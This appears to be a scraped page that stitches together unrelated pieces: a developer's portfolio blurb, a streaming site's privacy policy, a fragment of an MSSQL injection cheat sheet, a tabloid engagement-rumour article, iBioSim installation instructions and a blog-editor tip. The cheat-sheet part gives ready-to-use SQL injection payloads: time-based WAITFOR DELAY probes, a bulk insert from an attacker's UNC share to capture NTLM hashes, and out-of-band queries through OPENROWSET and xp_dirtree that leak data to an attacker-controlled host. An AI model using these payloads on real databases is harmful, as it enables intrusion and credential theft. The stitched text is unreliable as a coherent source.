A jsp based webpage, using wikipidia api to search for countries & register on a MySQL Database. Countries are clasified with the K-Means algorithm based on the Wiki info.
Computer Science is not only my field but my passion as well. So, on my spare time I love to create small projects or learn about different fields and their systems. Fields such as security & ethical hacking, Artificial Intelligence, IoT & microcontroller and so on.
Apart from technology I love traveling and learning new things about different cultures. A food lover and passionate beer and wine drinker. I love to experience new things and see the world from different point of views.
Also, I do love sports and exercising. I love a good game of basket or football. I love extreme sports and generally explore the nature. Lastly I am a huge fan of camping.
Inovation project winers at Akkademy program provided by Akka Technologies.
Recommendation letter from the IT manager of Star chanel GR.


Welcome to the AngelThump.com. ("AngelThump.com") applications,
platform, website(
www.AngelThump.com), and any other web sites,
applications, or services operated or produced by AngelThump.com
(collectively, the "AngelThump.com Platform"). AngelThump.com values
the privacy of the users, subscribers, publishers, members, and others
who visit and use the AngelThump.com Platform (collectively or
individually, "You" or "Users").
By using the AngelThump.com Platform, you expressly consent to the
information handling practices described in this policy.
This Privacy Policy is incorporated into and is subject to the
AngelThump.com Platform
Terms of Service. Your use of the AngelThump.com Platform
and any personal information you provide through the AngelThump.com
Platform are subject at all time to this Privacy Policy and the
Terms of
Service.
The Information AngelThump.com
Collects
- User-provided Information: You may provide to AngelThump.com what
is generally called "personally identifiable" information (such as
your name, email address, postal mailing address, home/mobile
telephone number, credit card number and billing information) if you
upload, purchase, or view or download certain content or products
from the AngelThump.com Platform, enter contests or sweepstakes, or
otherwise use the features and functionality of the AngelThump.com
Platform.
- "Cookies" Information: When you access the AngelThump.com
Platform, we may send one or more cookies - small text files
containing a string of alphanumeric characters - to your computer.
AngelThump.com may use both session cookies and persistent cookies. A
session cookie disappears after you close your browser. A persistent
cookie remains after you close your browser and may be used by your
browser on subsequent visits to the AngelThump.com Platform.
Persistent cookies can be removed. Please review your web browser
"Help" file to learn the proper way to modify your cookie
settings.
- "Automatically Collected" Information: When you access the
AngelThump.com Platform or open one of our HTML emails, we may
automatically record certain information from your system by using
different types of tracking technology. This "automatically
collected" information may include Internet Protocol address ("IP
Address"), a unique user ID, version of software installed, system
type, the content and pages that you access on the AngelThump.com
Platform, and the dates and times that you visit the AngelThump.com
Platform.
The Way AngelThump.com Uses
Information
- AngelThump.com uses the information that you provide or that we
collect to operate, maintain, enhance, and provide all of the
features and services found on the AngelThump.com Platform as well as
to track user-generated content and Users to the extent necessary to
comply as a service provider with the Digital Millennium Copyright
Act.
- We will use your email address, without further consent, for
administrative communications such as notifying you of major
AngelThump.com Platform updates, for customer service purposes, to
address copyright infringement or defamation issues, or to contact
you regarding any content that you have posted to or downloaded from
the AngelThump.com Platform.
- AngelThump.com uses all of the information that we collect to
understand the usage trends and preferences of our Users, to improve
the way the AngelThump.com Platform works and looks, and to create
new features and functionality.
- AngelThump.com may use "Automatically Collected" information and
"Cookies" information to: (a) automatically update the AngelThump.com
application on your system; (b) remember your information so that you
will not have to re-enter it during your visit or the next time you
access the AngelThump.com Platform; (c) provide customized
third-party advertisements, content and information; (d) monitor the
effectiveness of third-party marketing campaigns; (e) monitor
aggregate site usage metrics such as total number of visitors and
pages accessed; and (f) track your entries, submissions, and status
in any promotions or other activities.
When AngelThump.com Discloses
Information
- AngelThump.com does not share your personally identifiable
information with other organizations for their marketing or
promotional uses without your prior express consent. Please be aware,
however, that any personally identifiable information that you
voluntarily choose to display on any publicly available portion of
the AngelThump.com Platform - such as when you publish content,
comments or profile information - becomes publicly available and may
be collected and used by others without restriction.
- AngelThump.com may disclose Automatically Collected and other
aggregate non-personally-identifiable information with interested
third parties to assist such parties in understanding the usage and
demographic patterns for certain programs, content, services,
advertisements, promotions, or other functionality of
AngelThump.com.
- We may disclose some limited User information to affiliated
companies or other businesses or persons to: provide web site
hosting, maintenance, and security services; fulfill orders; conduct
data analysis and create reports; offer certain functionality; and
assist AngelThump.com in improving the AngelThump.com Platform and
creating new services features. We require that these parties process
such information in compliance with this Privacy Policy, we authorize
only a limited use of such information, and we require these parties
to use reasonable confidentiality measures.
- AngelThump.com may disclose User information if required to do so
by law or in the good-faith belief that such action is necessary to
comply with state and federal laws (such as U.S. Copyright law) or
respond to a court order, judicial or other government subpoena, or
warrant in the manner required by the requesting entity.
- AngelThump.com also reserves the right to disclose User
information that we believe, in good faith, is appropriate or
necessary to take precautions against liability; protect
AngelThump.com from fraudulent, abusive, or unlawful uses; to
investigate and defend ourselves against third-party claims or
allegations; to assist government enforcement agencies; to protect
the security or integrity of the AngelThump.com Platform; or to
protect the rights, property, or personal safety of AngelThump.com,
our Users, or others.
Your Choices
You may, of course, decline to share your personally-identifiable
information with AngelThump.com, in which case AngelThump.com will not
be able to provide to you some of the features and functionality found
on the AngelThump.com Platform. You may update, correct, or delete your
user information and preferences by clicking on the "Edit Settings"
link on the top left of the page once you have logged in to the
AngelThump.com Platform.
To protect your privacy and security, we take reasonable steps to
verify your identity before granting you account access or making
corrections to your information. You are responsible for maintaining
the secrecy of your unique password and account information at all
times.
Advertisers
AngelThump.com may allow advertisers, third party advertising networks
and third-party advertising serving companies to serve advertisements
directly to you within the AngelThump.com site, services and software.
By serving these advertisements directly to you, these companies can
set their own cookies on your computer and trigger their own Web
beacons to measure the effectiveness of their advertisements and to
personalize the advertising content. AngelThump.com does not provide
your personally identifiable information to these third-party ad
servers or ad networks without your consent. However, please note that
if an advertiser asks AngelThump.com to show an advertisement to a
certain audience (for example, males age 15 to 18) or audience segment
(for example, males age 15 to 18 who have participated in certain
promotions) and you respond to that advertisement, the advertiser or
ad-server may conclude that you fit the description of the audience
that they were trying to reach. You should consult the respective
privacy policies of these third-party ad servers or ad networks.
Some of these companies are participants in the Network Advertising
Initiative ("NAI"), a cooperative of online marketing and
analytic companies committed to building consumer awareness and
establishing responsible business and data management practices and
standards. You can learn more about NAI and how you may "opt
out" of targeted advertising delivered by NAI member ad networks
here:
http://www.networkadvertising.org/.
This Privacy Policy does not apply to, and we cannot control the
activities of, such other advertisers or web sites. AngelThump.com
reserves the right the add or remove third-party ad networks or ad
servers in its discretion and AngelThump.com may not at all times list
such updated ad network or ad server partners in this Privacy
Policy.
Our Commitment to Data
Security
AngelThump.com uses commercially reasonable physical, managerial, and
technical safeguards to preserve the integrity and security of your
personal information. We cannot, however, ensure or warrant the
security of any information you transmit to AngelThump.com, and you do
so at your own risk. Once we receive your transmission of information,
AngelThump.com makes commercially reasonable efforts to ensure the
security of our systems. However, please note that this is not a
guarantee that such information may not be accessed, disclosed,
altered, or destroyed by breach of any of our physical, technical, or
managerial safeguards.
If AngelThump.com learns of a security systems breach, then we may
attempt to notify you electronically so that you can take appropriate
protective steps. AngelThump.com may post a notice on the
AngelThump.com Platform if a security breach occurs. Depending on where
you live, you may have a legal right to receive notice of a security
breach in writing. To receive a free written notice of a security
breach you should notify us at<EMAIL_ADDRESS>Our Commitment to Children's
Privacy
If you are under 13 years of age, then please do not use or access THE
AngelThump.com PLATFORM at any time or in any manner.
Protecting the privacy of young children is especially important. For
that reason, AngelThump.com does not knowingly collect or maintain
personally identifiable information from persons under 13 years-of-age.
If AngelThump.com learns that personally-identifiable information of
persons less than 13-years-of-age has been collected on or through the
AngelThump.com Platform, then AngelThump.com will take the appropriate
steps to delete this information.
If you are the parent or legal guardian of a child under 13 who has
become AngelThump.com Platform member, then please contact
AngelThump.com at<EMAIL_ADDRESS>The following are some resources that may help parents and legal
guardians in monitoring and limiting your childrens' access to
certain types of material on the Internet. While AngelThump.com does
not endorse these products, we provide information about them as a
public service to our community.
International Visitors
For Users visiting the AngelThump.com Platform from the European
Economic Area or other non-U.S. territories, please note that any data
you enter into the AngelThump.com Platform will be transferred outside
the European Economic Area or such other non-U.S. territory for use by
AngelThump.com and its affiliates for any of the purposes described
herein. In addition, because AngelThump.com operates globally, we may
make information we gather available to worldwide business units and
affiliates. By providing any data on the AngelThump.com Platform, you
hereby expressly consent to such transfers of your data to the United
States or other countries.
In the Event of Merger or
Sale
In the event that AngelThump.com is acquired by or merged with a
third-party entity, we reserve the right, in any of these
circumstances, to transfer or assign the information that we have
collected from Users as part of that merger, acquisition, sale, or
other change of control. Changes and Updates to this Privacy
Policy:
This Privacy Policy may be revised periodically without further policy
to you and this will be reflected by a "last modified" date below.
Please revisit this page to stay aware of any changes. In general, we
only use your personal information in the manner described in the
Privacy Policy in effect when we received that personal information.
Your continued use of the AngelThump.com Platform constitutes your
agreement to this Privacy Policy and any future revisions.
For revisions to this Privacy Policy that may be materially less
restrictive on our use or disclosure of personal information you have
provided to us, we will make reasonable efforts to notify you and
obtain your consent before implementing revisions with respect to such
information.


WAIT FOR DELAY 'time'
This is just like sleep, wait for specified time. CPU safe way to make database wait.
WAITFOR DELAY '0:0:10'--
Also, you can use fractions like this,
WAITFOR DELAY '0:0:0.51'
Real World Samples
Are we 'sa' ?
if (select user) = 'sa' waitfor delay '0:0:10'
ProductID = 1;waitfor delay '0:0:10'--
ProductID =1);waitfor delay '0:0:10'--
ProductID =1';waitfor delay '0:0:10'--
ProductID =1');waitfor delay '0:0:10'--
ProductID =1));waitfor delay '0:0:10'--
ProductID =1'));waitfor delay '0:0:10'--
Bulk insert from a UNC Share
This attack can help you to get SQL Server user's Windows password of target server, but possibly you inbound connection will be firewalled. We force SQL Server to connect our Windows UNC Share and capture data NTLM session with a tool like Cain & Abel.
bulk insert foo from '\\YOURIPADDRESS\C$\x.txt'
Check out Bulk Insert Reference to understand how can you use bulk insert.
Out of Band Channel Attacks
Makes DNS resolution request to {INJECT}.yourhost.com
?vulnerableParam=1; SELECT * FROM OPENROWSET('SQLOLEDB', ({INJECTION})+'.yourhost.com';'sa';'pwd', 'SELECT 1')
Makes DNS resolution request to {INJECTION}.yourhost.com
?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = '\\'+({INJECTION})+'.yourhost.com\\test.txt'; EXEC master..xp_dirtree @q
{INJECTION} = You want to run the query.
More than DNS though, xp_dirtree and responder to capture SMB hashes!
responder listen for connections (even analyze is enough)
exec xp_dirtree "\\<LHOST>\file.txt",0,1


Perrie Edwards hides left hand at Little Mix PLT party amid engagement rumours
The Little Mix singer fuelled speculation about her love life as she kept her hand stuffed in her shirt sleeve at the band's fashion launch with Pretty Little Thing
by Tiffany WallisLittle Mix star Perrie Edwards has fuelled speculation she's engaged to boyfriend Alex Oxlade-Chamberlain by keeping her left hand hidden during an event last night.
The singer sent the nation into meltdown yesterday by hinting she's accepted a proposal from her boyfriend of three years.
Just hours later, Perrie, 26, made an appearance at the band's launch party with fashion retailer Pretty Little Thing at Anyhoe Park House in London.
She did little to silence the gossip as she kept her left hand covered with the sleeve of her shirt dress - hiding her ring finger.
During the photocall, Perrie appeared to be deliberately hiding her left hand in all her poses.
Perrie's clever choice of outfit was from the new PrettyLittleThing x Little Mix range, which they launched at a star-studded party last night.
Earlier in the day, speculation of a secret proposal circulated after the pop icon accidentally spelled her footballer boyfriend's surname wrong in an Instagram post.
Eagle-eyed fans were quick to point out Perrie's blunder but the pop star claimed she would be able to spell her beau's surname right when it belongs to her and she has to write it "all the time".
It's only natural engagement talk was swirling as the couple have been going steady for three years and moved in together earlier this year.
Over a snap of the footballer, she plastered the words: "You to me are everything my Alex Oxlade-Chamberlaine OH BABY OH BABEHHH."
The Liverpool player replied: "@perrieedwards spell my name right at least will ya."
But Perrie added fuel to the fire with her cheeky and flirty response.
She wrote: "It'll be way easier to spell when it's my second name and I have to write it all the time."
This isn't the first time the power couple have hinted at their future walk down the aisle.
Back in February at a BRIT Awards after party, the footballing hunk dropped a huge hint that he was planning to pop the question.
When asked if he was planning to put a ring on it any time soon, Alex smiled, nodded and winked, according to The Sun .
Last November, they also sparked speculation they'd secretly tied the knot after Perrie referred to Alex's mum as her "mother-in-law".
Last night Perrie joined bandmates Jesy Nelson, Jade Thirwall and Leigh-Anne Pinnock for their exclusive party to celebate their exciting collaboration with the online fashion brand.
They were joined on the night by a host of famous pals, including fellow Pretty Little Thing ambassador Molly-Mae Hague.
Little Mix's former X Factor mentor Tulisa Contostavlos and Kate Moss' 'It girl' sister Lottie Moss was also in attendance.
Do you have a story to sell? Get in touch with us at<EMAIL_ADDRESS>or call us direct 0207 29 33033


iBioSim Installation Instructions
Chris J. Myers
Contents
1 General Requirements
2 Java Installation
3 MacOS Installation
4 Windows Installation
5 Linux Installation
1 General Requirements
There are versions of iBioSim available for Windows, Linux, and
MacOS. You can download the appropriate installation file from:
http://www.async.ece.utah.edu/iBioSim.
iBioSim requires that you have
Java Runtime Environment 1.6
or higher install on your system. It is also useful to have
Graphviz.
Also, you should associate files with a ".dot" extension with the
Graphviz tool, and files with the ".xhtml" extension to your
web browswer. There is also a pure java version available that
supports most though not all features of iBioSim. This is a good option when having trouble with the other installations, since it is machine independent.
2 Java Installation
To install the pure Java version, you need to download iBioSim-2.8-Java.zip and unzip it in the directory you wish to install. The iBioSim.jar file should be executable, but may require being invoked using the explicit command: java -jar iBioSim.jar.
The iBioSim.mac64 script makes it look better on Mac environment.
3 MacOS Installation
To install on MacOS, you need to download
iBioSim-〈version〉-MacOS.dmg file. You should then
open this file with DiskImageMounter.app. This should open up
this disk image in finder. You should then copy the contents of
this disk image to your Applications folder. You should then be able
to start iBioSim by double-clicking on this application.
4 Windows Installation
Download and execute iBioSim-〈version〉-Setup.exe.
The installation uses InstallJammer. It first asks you for your
preferred installation language. Make your selection and press OK.
The next screen tells you that you what version you are installing.
Press Next to continue.
Next, it ask you for an installation location. Please make sure to
select a path that does not have any spaces or special symbols as
these cause problems with iBioSim.
You are now ready to install. Press Next to continue.
You are all done. Press Finish. If selected, iBioSim
will launch immediately. Otherwise, you can start it using your
desktop shortcut or from your start menu.
In your start menu, there should be an option to uninstall. If you
select this, it will ask if you are sure then proceed to completely
remove iBioSim from your system. It is highly recommended that
you remove iBioSim using this uninstall procedure before
installing a new version.
5 Linux Installation
Since InstallJammmer is also used for the Linux install, the
installation instructions are essentially the same.
First, download iBioSim-〈version〉-Linux-x86_64-Install.
Open a terminal and browse to where this file was download. You must
make this file executable:
chmod u+x iBioSim-〈version〉-Linux-x86_64-Install.
You should then execute this file:
./iBioSim-〈version〉-Linux-x86_64-Install.
This starts InstallJammer. It first asks you for your
preferred installation language. Make your selection and press OK.
The next screen tells you that you what version you are installing.
Press Next to continue.
Next, it ask you for an installation location. Please make sure to
select a path that does not have any spaces or special symbols as
these cause problems with iBioSim.
You are now ready to install. Press Next to continue.
You are all done. Press Finish. If selected, iBioSim
will launch immediately. Otherwise, you can start it using your
desktop shortcut or from your start menu.
In your start menu, there should be an option to uninstall. If you
select this, it will ask if you are sure then proceed to completely
remove iBioSim from your system. It is highly recommended that
you remove iBioSim using this uninstall procedure before
installing a new version.
Note that since there are a large number of different linux installations, there can be problems especially with older installations. If you are having problems though, first log out and back in. There are some environment variables that need to be set. If you are still having problems, then read on.
Our linux installations are currently built for 32-bit and 64-bit versions of Fedora 15. While the Java parts of our program port smoothly, there are often issues with the dynamic libraries and the C/C++ programs reb2sac and GeneNet. If you are having a problem, the first step is to download and build libsbml Version 5.0. You will need to replace the libsbml.so* and libsbmlj.so files with your build of libsbml in either lib or lib64 depending on whether you are using a 32-bit or 64-bit machine. At this point, you should be able to start iBioSim. However, if you are still having problems, send an email to<EMAIL_ADDRESS>including information about your OS and any error messages when you try to execute iBioSim from the command line.
You should also now test reb2sac and GeneNet. In your install directory, try the following:
- cd bin
- export LD_LIBRARY_PATH=$BIOSIM/lib:$LD_LIBRARY_PATH
Note that this is for bash shell, so you may need to change for your shell, if not bash.
- ./reb2sac
- ./GeneNet
You should see the usage lines for these programs. If you do not, you may need custom builds, contact<EMAIL_ADDRESS>File translated from
TEX
by
TTH,
version 3.81.
On 25 Jan 2015, 15:49.


% content.title = "New Blog Post" %>
How to add a code snippet:
1. Copy or write your code in the Code text box.
2. Specify the programming language. Specify formatting (code block or inline).
3. Press the "Add" button, and wait for the magic!
4. Your code will be wrapped in the appropriate HTML, and added to the "Post Content" composition text box.
5. Your blog post will then contain PROPER SYNTAX HIGHLIGHTING! Rejoice, all the children of the world.